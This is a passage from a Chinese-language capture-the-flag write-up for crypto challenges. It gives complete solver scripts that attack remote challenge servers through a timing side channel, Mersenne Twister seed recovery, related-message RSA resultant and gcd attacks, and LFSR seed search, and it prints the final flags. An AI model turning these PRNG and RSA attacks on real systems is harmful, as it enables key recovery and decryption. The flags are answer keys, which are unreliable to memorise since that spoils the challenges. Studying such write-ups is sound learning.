('[*] building D/E/F multicollision pool' ) d_pool = build_pool(h1, cli_args.depth, fastcoll_exe) h2 = ensure_prefixed(h1, d_pool) print (f'[+] D/E/F common md5(prefix=h1, msg) = {h2.hex ()} ' ) print ('[*] building G/H/I multicollision pool' ) g_pool = build_pool(h2, cli_args.depth, fastcoll_exe) h3 = ensure_prefixed(h2, g_pool) print (f'[+] G/H/I common md5(prefix=h2, msg) = {h3.hex ()} ' ) print ('[*] checking uniqueness budget' ) chosen = a_pool[:30 ] + d_pool[:30 ] + g_pool[:30 ] if len (set (chosen)) != 90 : raise RuntimeError('selected payloads are not globally unique' ) print ('[+] 90 payloads are globally unique' ) print (f'[*] connecting to {cli_args.host} :{cli_args.port} ' ) final_output = send_rounds(cli_args.host, cli_args.port, a_pool, d_pool, g_pool) print (final_output) if __name__ == '__main__' : entrypoint()
它会自动完成:
调用本地 fastcoll
分别构造三层 32-way multicollision
校验三层碰撞是否正确
检查 90 个输入是否全局唯一
连接远端服务
自动发送 10 轮输入
输出 flag
最终 flag xmctf{96507151-7d39-4a06-baa2-21eaab2a0025}
CRYPTO_SdTVdp_ez_random 题目分析 patcher.py 把 sage.arith.misc.random_prime 换成了本地的 local_misc.py 版本。这个版本唯一关键改动是:
解题过程 关键分析
题目目录:原题附件目录
远端:nc1.ctfplus.cn 21725
最终 flag:
1 XMCTF{9b7152a8-aba3-458a-9677-faeaeb94615b}
题目逻辑
核心代码在 task.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 if t == '1' : set_random_seed(int .from_bytes(SEED, 'big' )) pairs = [(getrandbits(988 ), random_prime(get_limit(_))) for _ in range (1 , 37 )] ... shuffle(key0) print (f'Key Part A: {key0} ' ) print (f'Key Part B0: {key1_list0} ' ) print (f'Key Part B1: {key1_list1} ' ) elif t == '2' : set_random_seed(int .from_bytes(SEED, 'big' )) for k in range (1 , 37 ): random_prime(int (input ()) ^ (getrandbits(988 ) ^ get_limit(k))) SHA.update(str (getrandbits(256 )).encode()) KEY = SHA.digest() print ('Flag:' , AES.new(KEY, AES.MODE_ECB).encrypt(pad(flag)))
patcher.py 把 sage.arith.misc.random_prime 换成了本地的 local_misc.py 版本。这个版本唯一关键改动是:
1 2 if prime_test(p.lift()): return (p, count)
也就是说,option 1 不光泄露了找到的素数,还把“试了多少次才找到素数”的 count 也一起泄露了。
真正的坑点
一开始很容易误以为:
getrandbits(988) 用的是 Python random.Random
random_prime() 用的是另一个 Sage/GMP 随机源
但本题真正的坑在 random_prime() 里面的:
1 randint = Zmod(n).random_element
而 Zmod(n).random_element() 继续调用的是 sage.misc.prandom.randint,也就是同一个 Python PRNG 。
所以 option 1 里的随机流实际上是:
1 getrandbits(988) -> random_ prime 消耗若干次 randint -> getrandbits(988) -> ...
也因此:
Key Part A 里的 36 个 988-bit 数并不是连续输出
它们之间夹着 random_prime() 的随机消耗
shuffle(key0) 只是把这 36 个块打乱了顺序
时序恢复前 4 个 key0 的真实顺序
option 2 重新从同一个种子开始。设当前第 k 轮真正的 988-bit 输出是 g_k,我们发:
1 x = g_ k ^ get_ limit(k) ^ 2
那么服务端算出来的参数就是:
1 x ^ (g_ k ^ get_ limit(k)) = 2
此时 random_prime(2) 直接返回,响应非常快(实测约 0.3s)。
但这里有个关键细节:
前面的轮次不能全都强行设成 2,因为这样会让 PRNG 状态和 option 1 偏离。
正确做法是:
想试探第 1 个 key0,直接枚举 Key Part A 中的 36 个候选,看哪个能让第 2 个提示瞬间出来
想试探第 2 个 key0,先把第 1 轮按 option 1 原样重放 做法是直接发送第 1 个真实 key0 因为此时服务端会计算出 n = get_limit(1),随后 random_prime() 的行为就和 option 1 完全一致
再在第 2 轮把候选值异或成 2 来测时序
第 3、4 个同理,前缀都按 option 1 原样重放
我本地测出来的前 4 个真实顺序(相对于泄露出的 Key Part A 下标)是:
前 4 个就足够的原因
Key Part B1 泄露的前 3 个 count 是:
因此前 4 个 key0 在底层 32-bit MT 输出流中的起点分别是:
1 2 3 4 block1: 0 block2: 31 + 62 = 93 block3: 93 + 31 + 46 = 170 block4: 170 + 31 + 11 = 212
而 Python MT 的少输出种子恢复里,恢复 128-bit seed 只需要:
这里:
输出 0..5 就在第 1 个 key0 里
输出 227..232 落在第 4 个 key0 里
因为第 4 个块起点是 212,所以它们正好是第 4 块的偏移 15..20
用 BitsDeep 的 MT 逆算法恢复 Python seed
我用了经典的 MT 逆向公式:
先对输出做 untemper
用 S_i 和 S_{i+227} 逆出初始状态里的若干 I_i
再从 I_228..I_233 逆回 K[0..3]
因为 I_233 的最高位不确定,所以会得到 2 个 seed 候选。
再把候选 seed 代回去完整模拟 option 1:
生成 36 个 getrandbits(988)
用 Python 自己的 randrange(limit) 模拟 random_prime
用 32-bit 确定性 Miller-Rabin(bases = 2,7,61)判断素数
检查:
sorted(key0) 是否和 Key Part A 一致
prime list 是否和 Key Part B0 一致
count list 是否和 Key Part B1 一致
唯一通过验证的 Python seed 是:
1 0xbc6922f0550d55ecdc63f40956b5f997
最终利用
拿到这个 Python seed 后,就可以完全控制 option 2。
这次我们的目标不是复现 option 1,而是让 36 次 random_prime() 都变成:
这样中间就不再额外消耗任何随机数 。
具体做法:
用恢复出来的 seed 重新生成 36 个连续的 getrandbits(988),记为 h_1..h_36
第 k 轮发送:
1 x_ k = h_ k ^ get_ limit(k) ^ 2
服务端每轮都变成 random_prime(2),所以 36 轮后直接取下一次 getrandbits(256)
本地也同步取出这 256 bit,得到:
1 KEY = SHA256(str (next_256).encode()).digest()
拿它去解密服务端回显的 ECB 密文即可
关键代码
脚本:15_ez_random_solve.py
解题脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 import argparseimport astimport hashlibimport randomimport reimport socketimport timefrom typing import List , Sequence , Tuple from Crypto.Cipher import AESfrom Crypto.Util.Padding import unpadN = 2 ** 31 - 1 N_BITS = 988 N_PAIRS = 37 def get_limit (i: int ) -> int : return N - (N // 3 if i == 10 else 0 ) def read_until (conn: socket.socket, token: bytes ) -> bytes : buf = b'' while token not in buf: chunk = conn.recv(1 ) if not chunk: break buf += chunk return buf def send_text_line (conn: socket.socket, value: int | str ) -> None : conn.sendall(f'{value} \n' .encode()) def parse_leak_text (text: str ) -> Tuple [List [int ], List [int ], List [int ]]: part_a = ast.literal_eval(re.search('Key Part A: (\\[.*?\\])\\nKey Part B0:' , text, re.S).group(1 )) part_b0 = ast.literal_eval(re.search('Key Part B0: (\\[.*?\\])\\nKey Part B1:' , text, re.S).group(1 )) part_b1 = ast.literal_eval(re.search('Key Part B1: (\\[.*?\\])\\n' , text, re.S).group(1 )) return (part_a, part_b0, part_b1) def get_leak (host: str , port: int , timeout: float =30.0 ) -> Tuple [List [int ], List [int ], List [int ], str ]: with socket.create_connection((host, port), timeout=timeout) as conn: conn.settimeout(timeout) read_until(conn, b'option > ' ) send_text_line(conn, '1' ) leak = read_until(conn, b'option > ' ).decode(errors='ignore' ) part_a, part_b0, part_b1 = parse_leak_text(leak) return (part_a, part_b0, part_b1, leak) def probe_candidate (host: str , port: int , prefix_values: Sequence [int ], candidate: int , position: int , timeout: float =30.0 , retries: int =3 ) -> float : next_prompt = f'{position + 1 } th number' .encode() for attempt in range (retries): try : with socket.create_connection((host, port), timeout=timeout) as conn: conn.settimeout(timeout) read_until(conn, b'option > ' ) send_text_line(conn, '2' ) read_until(conn, b'th number' ) for i, value in enumerate (prefix_values, start=1 ): send_text_line(conn, value) read_until(conn, f'{i + 1 } th number' .encode()) payload = candidate ^ get_limit(position) ^ 2 start = time.perf_counter() send_text_line(conn, payload) read_until(conn, next_prompt) return time.perf_counter() - start except OSError: if attempt + 1 == retries: raise time.sleep(0.5 ) raise RuntimeError('unreachable' ) def recover_order (host: str , port: int , part_a: Sequence [int ] ) -> List [int ]: order: List [int ] = [] for position in range (1 , 5 ): prefix_values = [part_a[i] for i in order] timings = [] for idx, candidate in enumerate (part_a): if idx in order: continue elapsed = probe_candidate(host, port, prefix_values, candidate, position) timings.append((elapsed, idx)) print (f'[timing] pos={position} idx={idx:02d} elapsed={elapsed:.3 f} s' ) timings.sort() best = timings[0 ][1 ] print (f'[timing] pos={position} best={best} , top3={timings[:3 ]} ' ) order.append(best) return order def split_words (x: int ) -> List [int ]: words = [x >> 32 * i & 4294967295 for i in range (30 )] words.append(x >> 32 * 30 & (1 << 28 ) - 1 ) return words def unshift_right (x: int , shift: int ) -> int : res = x for _ in range (32 ): res = x ^ res >> shift return res & 4294967295 def unshift_left (x: int , shift: int , mask: int ) -> int : res = x for _ in range (32 ): res = x ^ res << shift & mask return res & 4294967295 def undo_temper (v: int ) -> int : v = unshift_right(v, 18 ) v = unshift_left(v, 15 , 4022730752 ) v = unshift_left(v, 7 , 2636928640 ) v = unshift_right(v, 11 ) return v & 4294967295 def invert_step (si: int , si227: int ) -> Tuple [int , int ]: x = si ^ si227 mti1 = (x & 2147483648 ) >> 31 if mti1: x ^= 2567483615 x = x << 1 & 4294967295 mti = x & 2147483648 mti1 = mti1 + (x & 2147483647 ) & 4294967295 return (mti, mti1) def init_genrand (seed: int ) -> List [int ]: mt = [0 ] * 624 mt[0 ] = seed & 4294967295 for i in range (1 , 624 ): mt[i] = 1812433253 * (mt[i - 1 ] ^ mt[i - 1 ] >> 30 ) + i & 4294967295 return mt def recover_kj_from_ji (ji: int , ji1: int , i: int ) -> int : const = init_genrand(19650218 ) key = ji - (const[i] ^ (ji1 ^ ji1 >> 30 ) * 1664525 ) return key & 4294967295 def recover_ji_from_ii (ii: int , ii1: int , i: int ) -> int : ji = ii + i ^ (ii1 ^ ii1 >> 30 ) * 1566083941 return ji & 4294967295 def recover_kj_from_ii (ii: int , ii1: int , ii2: int , i: int ) -> int : ji = recover_ji_from_ii(ii, ii1, i) ji1 = recover_ji_from_ii(ii1, ii2, i - 1 ) return recover_kj_from_ji(ji, ji1, i) def is_prime32 (n: int ) -> bool : if n < 2 : return False for p in (2 , 3 , 5 , 7 , 11 , 13 , 17 , 19 , 23 , 29 ): if n % p == 0 : return n == p d = n - 1 s = 0 while d % 2 == 0 : s += 1 d //= 2 for a in (2 , 7 , 61 ): if a % n == 0 : continue x = pow (a, d, n) if x == 1 or x == n - 1 : continue for _ in range (s - 1 ): x = pow (x, 2 , n) if x == n - 1 : break else : return False return True def simulate_option1 (seed: int ) -> Tuple [List [int ], List [int ], List [int ]]: rng = random.Random(seed) key0 = [] primes = [] counts = [] for i in range (1 , N_PAIRS): key0.append(rng.getrandbits(N_BITS)) limit = get_limit(i) count = 0 while True : count += 1 value = rng.randrange(limit) if value >= 2 and is_prime32(value): primes.append(value) counts.append(count) break return (key0, primes, counts) def recover_python_seed (part_a: Sequence [int ], part_b0: Sequence [int ], part_b1: Sequence [int ], order: Sequence [int ] ) -> int : first_block = part_a[order[0 ]] fourth_block = part_a[order[3 ]] start_fourth = sum ((31 + part_b1[i] for i in range (3 ))) offset = 227 - start_fourth if offset < 0 or offset + 6 > 31 : raise ValueError('unexpected offset for the 4th block' ) first_words = split_words(first_block) fourth_words = split_words(fourth_block) outs = first_words[:6 ] + fourth_words[offset:offset + 6 ] states = [undo_temper(x) for x in outs] i227_msb, i228 = invert_step(states[0 ], states[6 ]) i228_msb, i229 = invert_step(states[1 ], states[7 ]) i229_msb, i230 = invert_step(states[2 ], states[8 ]) i230_msb, i231 = invert_step(states[3 ], states[9 ]) i231_msb, i232 = invert_step(states[4 ], states[10 ]) i232_msb, i233_low = invert_step(states[5 ], states[11 ]) i228 |= i228_msb i229 |= i229_msb i230 |= i230_msb i231 |= i231_msb i232 |= i232_msb k1 = recover_kj_from_ii(i230, i229, i228, 230 ) - 1 & 4294967295 k2 = recover_kj_from_ii(i231, i230, i229, 231 ) - 2 & 4294967295 k3 = recover_kj_from_ii(i232, i231, i230, 232 ) - 3 & 4294967295 for msb in (0 , 2147483648 ): i233 = i233_low | msb k0 = recover_kj_from_ii(i233, i232, i231, 233 ) & 4294967295 seed = k0 | k1 << 32 | k2 << 64 | k3 << 96 key0, primes, counts = simulate_option1(seed) if sorted (key0) == sorted (part_a) and primes == list (part_b0) and (counts == list (part_b1)): return seed raise ValueError('failed to validate the recovered Python seed' ) def build_option2_payloads (seed: int ) -> Tuple [List [int ], int , bytes ]: rng = random.Random(seed) blocks = [rng.getrandbits(N_BITS) for _ in range (N_PAIRS - 1 )] next_256 = rng.getrandbits(256 ) key = hashlib.sha256(str (next_256).encode()).digest() payloads = [blocks[i] ^ get_limit(i + 1 ) ^ 2 for i in range (N_PAIRS - 1 )] return (payloads, next_256, key) def grab_flag (host: str , port: int , payloads: Sequence [int ], aes_key: bytes , timeout: float =30.0 ) -> str : with socket.create_connection((host, port), timeout=timeout) as conn: conn.settimeout(timeout) read_until(conn, b'option > ' ) send_text_line(conn, '2' ) for value in payloads: read_until(conn, b'number' ) send_text_line(conn, value) buf = b'' while b'Flag:' not in buf or b'option > ' not in buf: chunk = conn.recv(4096 ) if not chunk: break buf += chunk flag_line = next ((line for line in buf.split(b'\n' ) if b'Flag:' in line)) ciphertext = ast.literal_eval(flag_line.split(b'Flag: ' , 1 )[1 ].decode('latin1' )) plain = unpad(AES.new(aes_key, AES.MODE_ECB).decrypt(ciphertext), AES.block_size) return plain.decode() def entrypoint () -> None : arg_parser = argparse.ArgumentParser(description='Exploit solver for ez_random' ) arg_parser.add_argument('--host' , default='nc1.ctfplus.cn' ) arg_parser.add_argument('--port' , default=21725 , type =int ) arg_parser.add_argument('--seed' , help ='Skip timing/seed recovery and use the already recovered Python seed (hex or int).' ) cli_args = arg_parser.parse_args() part_a, part_b0, part_b1, _ = get_leak(cli_args.host, cli_args.port) print (f'[+] leaked {len (part_a)} shuffled key0 blocks' ) if cli_args.seed is None : order = recover_order(cli_args.host, cli_args.port, part_a) print (f'[+] first four key0 indices in leaked Part A: {order} ' ) seed = recover_python_seed(part_a, part_b0, part_b1, order) print (f'[+] recovered Python seed: {hex (seed)} ' ) else : seed = int (cli_args.seed, 0 ) print (f'[+] using provided Python seed: {hex (seed)} ' ) key0_ordered, _, _ = simulate_option1(seed) leak_pos = {value: idx for idx, value in enumerate (part_a)} ordered_indices = [leak_pos[value] for value in key0_ordered] print (f'[+] full key0 order in leaked Part A: {ordered_indices} ' ) payloads, next_256, aes_key = build_option2_payloads(seed) print (f'[+] predicted final getrandbits(256): {next_256} ' ) flag = grab_flag(cli_args.host, cli_args.port, payloads, aes_key) print (f'[+] flag = {flag} ' ) if __name__ == '__main__' : entrypoint()
最终 flag XMCTF{9b7152a8-aba3-458a-9677-faeaeb94615b}
CRYPTO_SdTVdp_RSA_or_LCG 题目分析 本题把 RSA 和 LCG 纠缠在同一组方程里,关键是先恢复 q 与 y,再反推出 secret 并完成解密。
解题过程 源码分析
题目核心代码如下:
1 2 3 4 5 6 7 seed = bytes_to_long(secret) a = random.getrandbits(1024 ) b = random.getrandbits(1024 ) out1 = (a * seed + b)^e mod N out2 = (a * out1_plain + b)^e mod N leak = (b - a)^e mod N
更准确地记号化:
设 x = seed = bytes_to_long(secret)
设 y = a*x + b
设 d = (b-a) mod N
则
1 2 3 c1 = y^ e mod N c2 = (a*y + b)^ e mod N = (a*(y+1) + d)^ e mod N leak = d^ e mod N
其中 e = 263,N = p*q 为 2048-bit。
解题思路
secret 只有 64 字节,即 512 bit,而 a,b 只有 1024 bit,所以:
1 y = a*x + b < 2^ 1024 * 2^ 512 + 2^ 1024 < 2^ 1537
而 N 是两个 1024-bit 素数乘积,约 2048 bit,因此:
所以第一轮实际上没有发生模约减:
这一步非常重要,因为最后我们可以直接从 y 反推 secret。
**先解出 **q = (y+1)^e
已知:
1 2 c2 = (a*(y+1) + d)^ e mod N leak = d^ e mod N
令:
则 u^e = a^e * q。
1 构造只含 u^e 的多项式
考虑多项式:
1 2 P(Z) = Z^ e - c2 Q(Z) = (Z-u)^ e - leak
它们有公共根,因为真实的 Z = a*(y+1)+d 同时满足两式。
消去 Z 后得到:
1 F(U) = Res_ Z(Z^ e-c2, (Z-u)^ e-leak), 其中 U = u^ e
于是:
2 F 的根和 power sums
设 alpha^e = c2,beta^e = leak,omega 为 e 次单位根,则 F(U) 的根为:
1 Ui = (alpha - beta * omega^ i)^ e
所以它们的幂和为:
1 2 S_ m = sum(Ui^ m) = e * sum_ {j=0..m} (-1)^ j * C(em, ej) * c2^ (m-j) * leak^ j
有了 S_1 ... S_e,就可以用 Newton identities 恢复出 F(U) 的全部系数。
由 c1 = y^e 构造 q 的另一个方程
因为:
而又已知:
所以同样可以消元构造:
1 G(Q) = Res_ X(X^ e-c1, (X+1)^ e-Q)
真实的 q 必然满足:
G 的根为:
1 Qi = (gamma * omega^ i + 1)^ e, 其中 gamma^ e = c1
因此幂和:
1 T_ m = e * sum_ {j=0..m} C(em, ej) * c1^ j
再用 Newton identities 得到 G(Q)。
**用 gcd 求出 q 与 **y
因为真实 q 同时满足:
所以:
1 gcd(F(a^ e Q), G(Q)) = Q - q
进而得到 q。
随后解:
1 gcd(X^ e-c1, (X+1)^ e-q) = X - y
从而恢复出第一轮 LCG 明文 y。
**从 y 还原 **secret
前面已经知道:
其中 x = seed,b 仍未知。
再看:
由于 y = a*x + b 是整数关系,所以:
其中 k = floor(b/a)。
因为 a,b 都是同规模 1024 bit 随机数,k 在实际中通常非常小。于是可以直接枚举 k:
1 2 候选 b = y mod a + k*a 检查 pow((b-a) mod N, e, N) == leak
一旦命中:
1 2 x = (y-b) // a secret = long_ to_ bytes(x, 64)
为了稳妥,脚本还保留了一个兜底:
1 gcd(D^ e-leak, (D+a*(y+1))^ e-c2) = D-d
从 d = (b-a) mod N 也能恢复 b。
脚本的提速方法
在线阶段必须尽量压缩到 4 秒内。脚本里做了两点优化:
1 用 block recurrence 代替直接算大组合数
直接计算 C(em, ej) 很慢。注意到:
1 2 C(em, e(j+1)) / C(em, ej) = prod_ {t=1..e} (e(m-j-1)+t) / (ej+t)
令:
1 B_ r = prod_ {t=1..e} (er+t)
则上式可写成:
1 C(em, e(j+1)) / C(em, ej) = B_ {m-j-1} / B_ j
所以我们只需预处理 B_r,在线时模 N 求逆即可快速递推所有项。
2 b 用小范围枚举,不必再做一次完整 gcd
恢复 y 后,最后一步优先枚举 k = b//a,通常几乎瞬间命中,只有极少数情况下才回退到第三次 gcd。
运行
1 python 14_RSA_or_LCG_solve.py
如果网络抖动导致某一轮 4 秒超时,脚本会自动重连继续尝试。默认最多尝试 10 次。
解题脚本说明
14_RSA_or_LCG_solve.py 做的事情如下:
连接远程并读取 N / a / leak / c1 / c2
构造 F(a^e Q) 与 G(Q),gcd 得到 q = (y+1)^e
gcd 求出 y
通过 b = y mod a + k*a 枚举得到 b
计算 seed = (y-b)//a
发送 secret.hex(),拿到 flag
解题脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 import argparseimport astimport socketfrom math import combimport gmpy2from Crypto.Util.number import long_to_bytesE = 263 BLOCKS = [] for r in range (E): prod = 1 for x in range (E * r + 1 , E * r + E + 1 ): prod *= x BLOCKS.append(prod) BINOMS = [comb(E, k) for k in range (E + 1 )] def inv (a, n ): return int (gmpy2.invert(a, n)) def poly_trim (p ): while p and p[-1 ] == 0 : p.pop() return p def poly_divmod (a, b, n ): a = a[:] poly_trim(a) poly_trim(b) invb = inv(b[-1 ], n) q = [0 ] * max (0 , len (a) - len (b) + 1 ) while len (a) >= len (b) and a: coeff = a[-1 ] * invb % n pos = len (a) - len (b) for i in range (len (b)): a[pos + i] = (a[pos + i] - coeff * b[i]) % n q[pos] = coeff poly_trim(a) return (poly_trim(q), a) def poly_gcd (a, b, n ): a = poly_trim(a[:]) b = poly_trim(b[:]) while b: _, r = poly_divmod(a, b, n) a, b = (b, r) inva = inv(a[-1 ], n) return [x * inva % n for x in a] def build_inv_tables (n ): bmod = [x % n for x in BLOCKS] binv = [inv(x, n) for x in bmod] small_inv = [0 ] * (E + 1 ) for k in range (1 , E + 1 ): small_inv[k] = inv(k, n) return (bmod, binv, small_inv) def newton_from_power_sums (s, small_inv, n ): coeffs = [0 ] * (E + 1 ) coeffs[0 ] = 1 for k in range (1 , E + 1 ): total = s[k] for i in range (1 , k): total = (total + coeffs[i] * s[k - i]) % n coeffs[k] = -total * small_inv[k] % n return coeffs def build_f_coeffs (c2, leak, n, bmod, binv, small_inv ): c2_inv = inv(c2, n) neg_leak = -leak % n s = [0 ] * (E + 1 ) c2_pow = 1 for m in range (1 , E + 1 ): c2_pow = c2_pow * c2 % n term = c2_pow total = term for j in range (m): term = term * neg_leak % n term = term * c2_inv % n term = term * bmod[m - j - 1 ] % n term = term * binv[j] % n total += term s[m] = E * total % n return newton_from_power_sums(s, small_inv, n) def build_g_coeffs (c1, n, bmod, binv, small_inv ): s = [0 ] * (E + 1 ) for m in range (1 , E + 1 ): term = 1 total = 1 for j in range (m): term = term * c1 % n term = term * bmod[m - j - 1 ] % n term = term * binv[j] % n total += term s[m] = E * total % n return newton_from_power_sums(s, small_inv, n) def substitute_scale_desc (coeffs, scale, n ): powers = [1 ] * (E + 1 ) for i in range (1 , E + 1 ): powers[i] = powers[i - 1 ] * scale % n return [coef * powers[E - idx] % n for idx, coef in enumerate (coeffs)] def monic_xe_minus_const (c, n ): return [-c % n] + [0 ] * (E - 1 ) + [1 ] def shift_binom_poly (shift, sub, n ): pows = [1 ] * (E + 1 ) for i in range (1 , E + 1 ): pows[i] = pows[i - 1 ] * shift % n coeffs = [BINOMS[k] * pows[E - k] % n for k in range (E + 1 )] coeffs[0 ] = (coeffs[0 ] - sub) % n return coeffs def recover_plain (n, a, leak, c1, c2 ): bmod, binv, small_inv = build_inv_tables(n) f_coeffs = build_f_coeffs(c2, leak, n, bmod, binv, small_inv) g_coeffs = build_g_coeffs(c1, n, bmod, binv, small_inv) ae = pow (a, E, n) q_poly = poly_gcd(list (reversed (substitute_scale_desc(f_coeffs, ae, n))), list (reversed (g_coeffs)), n) q = -q_poly[0 ] % n y_poly = poly_gcd(monic_xe_minus_const(c1, n), shift_binom_poly(1 , q, n), n) y = -y_poly[0 ] % n r = y % a for k in range (5000 ): b = r + k * a if pow ((b - a) % n, E, n) == leak: seed = (y - b) // a return long_to_bytes(seed, 64 ) u = a * (y + 1 ) % n d_poly = poly_gcd(monic_xe_minus_const(leak, n), shift_binom_poly(u, c2, n), n) d = -d_poly[0 ] % n b = (a + d) % n seed = (y - b) // a return long_to_bytes(seed, 64 ) def recv_until_outputs (stream ): bundle = {} while True : line = stream.readline() if not line: raise EOFError('remote closed before full challenge' ) text = line.decode(errors='ignore' ).strip() if text.startswith('N = ' ): bundle['n' ] = int (text.split('=' , 1 )[1 ]) elif text.startswith('e = ' ): bundle['e' ] = int (text.split('=' , 1 )[1 ]) elif text.startswith('[+] leak: ' ): bundle['a' ], bundle['leak' ] = ast.literal_eval(text.split(': ' , 1 )[1 ]) elif text.startswith('[+] Output 1: ' ): bundle['c1' ] = int (text.split(': ' , 1 )[1 ]) elif text.startswith('[+] Output 2: ' ): bundle['c2' ] = int (text.split(': ' , 1 )[1 ]) return bundle def solve_single (host, port ): conn = socket.create_connection((host, port)) conn.settimeout(15 ) stream = conn.makefile('rwb' , buffering=0 ) bundle = recv_until_outputs(stream) secret = recover_plain(bundle['n' ], bundle['a' ], bundle['leak' ], bundle['c1' ], bundle['c2' ]) stream.write(secret.hex ().encode() + b'\n' ) stream.flush() rest = b'' try : while True : chunk = stream.read(4096 ) if not chunk: break rest += chunk except Exception: pass finally : conn.close() return rest.decode(errors='ignore' ) def split_target (target ): if ':' not in target: raise ValueError('target must look like host:port' ) host, port_text = target.rsplit(':' , 1 ) return (host, int (port_text)) def entrypoint (): arg_parser = argparse.ArgumentParser() arg_parser.add_argument('target' , nargs='?' , default='nc1.ctfplus.cn:48176' , help ='remote target in host:port form' ) arg_parser.add_argument('--attempts' , type =int , default=10 ) cli_args = arg_parser.parse_args() host, port = split_target(cli_args.target) for attempt in range (1 , cli_args.attempts + 1 ): print (f'[+] target {host} :{port} | attempt {attempt} /{cli_args.attempts} ' ) response_text = solve_single(host, port) print (response_text, end='' ) if 'flag' in response_text.lower() or 'XMCTF{' in response_text: break if __name__ == '__main__' : entrypoint()
最终 flag XMCTF{e08e5dea-2f66-4ae8-ac67-1954cdf7a8c4}
CRYPTO_SdTVdp_ocean 题目分析 本题需要先把海流生成过程还原成可计算模型,再结合输出约束逐步筛去错误状态,最终恢复当前实例对应的 flag。
解题过程 关键分析
本题的目标不是直接恢复远端 FLAG,而是先恢复本轮实例里的:
1 secret = f'fakeflag{{{os.urandom(16 ).hex ()} }}'
只要把这个 secret 原样发回去,服务端就会返回当前容器对应的真实 flag。 注意这里的远端容器会轮换,所以:
flag 不是固定值
host/port 也可能变化
正确的复现方式应该是“给定最新地址,脚本自动解出当前实例”
题目逻辑
源码见题目原始附件中的 chal.py。
核心流程如下:
生成 64 位随机 seed
用同一个 seed 初始化两个寄存器
输出 mask1、mask2、output、enc
如果用户输入等于本轮生成的 secret,就返回真实 flag
关键代码抽象后是:
1 2 3 4 lfsr1 = LFSR(64 , seed, mask1) lfsr2 = MLFSR(64 , seed, mask2, lfsr1) output = ... enc = AES.new(md5(str (seed).encode()).digest(), AES.MODE_ECB).encrypt(pad(secret.encode(), 16 ))
其中:
lfsr1 每次调用都会更新
lfsr2 只有在 lfsr1() 输出为 1 时才更新
output 是 64 次过程中 lfsr2 末位拼出来的结果
enc 用 md5(str(seed)) 作为 AES-ECB 的密钥
所以解题路径很自然:
先从 mask1、mask2、output 恢复候选 seed
再用 enc 把真正的 seed 筛出来
解出 secret
回传 secret 拿 flag
建模思路
把 64 位 seed 看成 GF(2) 上的 64 维向量。
对于固定的 mask1、mask2,可以预处理出两类线性形式:
A_t(seed):第 t 次调用 lfsr1() 的输出位
B_q(seed):lfsr2 一共更新了 q 次之后的末位
那么第 t 步打印出来的 output 位可以表示为:
1 2 z_ t = B_ {q_ t}(seed) q_ t = sum_ {i=1..t} A_ i(seed)
难点在于 q_t 本身依赖前面的输出,所以整体不是一个单纯的线性方程组,而是“带分支的线性约束搜索”。
解题步骤
最终实现采用的是:
搜索到第 t 步时,枚举这一位 lfsr1 输出 c:
如果 output[t] != output[t-1],说明这一步一定发生了更新,所以 c = 1
否则 c 可以是 0 或 1
一旦选定 c,就能加入两条线性约束:
A_t(seed) = c
B_q(seed) = output[t]
其中 q 是当前累计更新次数。
实现层面用 64 位整数直接表示 GF(2) 线性形式,并在 DFS 过程中动态维护消元基。
为了继续提速,又做了一个秩上界剪枝。预处理:
1 rem[t][q] = rank(span(A_ t..A_ 63, B_ q..B_ 64))
如果当前已经收集到的线性系统秩为 rank_now,满足:
1 rank_ now + rem[t][q] < 64
那说明这个分支后续无论怎么走,都不可能把 seed 确定到足够可验证的程度,可以直接剪掉。
使用 enc 二次过滤的原因
仅靠题目给出的 64 位 output,实际可能对应多个 seed。 也就是说,mask1 + mask2 + output 并不总能唯一确定 seed。
因此 helper 枚举出来的是一批候选值,而不是唯一解。
这时再用 enc 做最后筛选:
对每个候选 seed 计算 md5(str(seed))
用它解密 enc
如果明文匹配:
那这个 seed 就是真的,进而得到本轮 secret
解题步骤
在远端 60 秒限制下,没有必要在单个实例上持续尝试特别大的搜索空间。 更稳的办法是:
先枚举前 8 个候选
用 enc 检查是否命中
没命中就扩大到 32
还没命中再扩大到 1024
如果这一轮还没有,就直接重连拿新实例
因为有些实例非常容易,前几个候选里就能直接命中真解; 脚本自动重试通常比在单个实例上继续搜索到底更稳。
复现方式
13_ocean_solve.py 支持以下几种用法:
1 2 3 python 13_ocean_solve.py python 13_ocean_solve.py nc1.ctfplus.cn 47490 python 13_ocean_solve.py nc1.ctfplus.cn:47490
也支持环境变量:
1 2 3 set OCEAN_HOST=nc1.ctfplus.cnset OCEAN_PORT=47490python 13_ocean_solve.py
Windows 下还可以直接双击:
脚本会自动:
查找或编译 seed_helper
连接远端
恢复本轮 secret
回传并输出当前容器的真实 flag
解题脚本
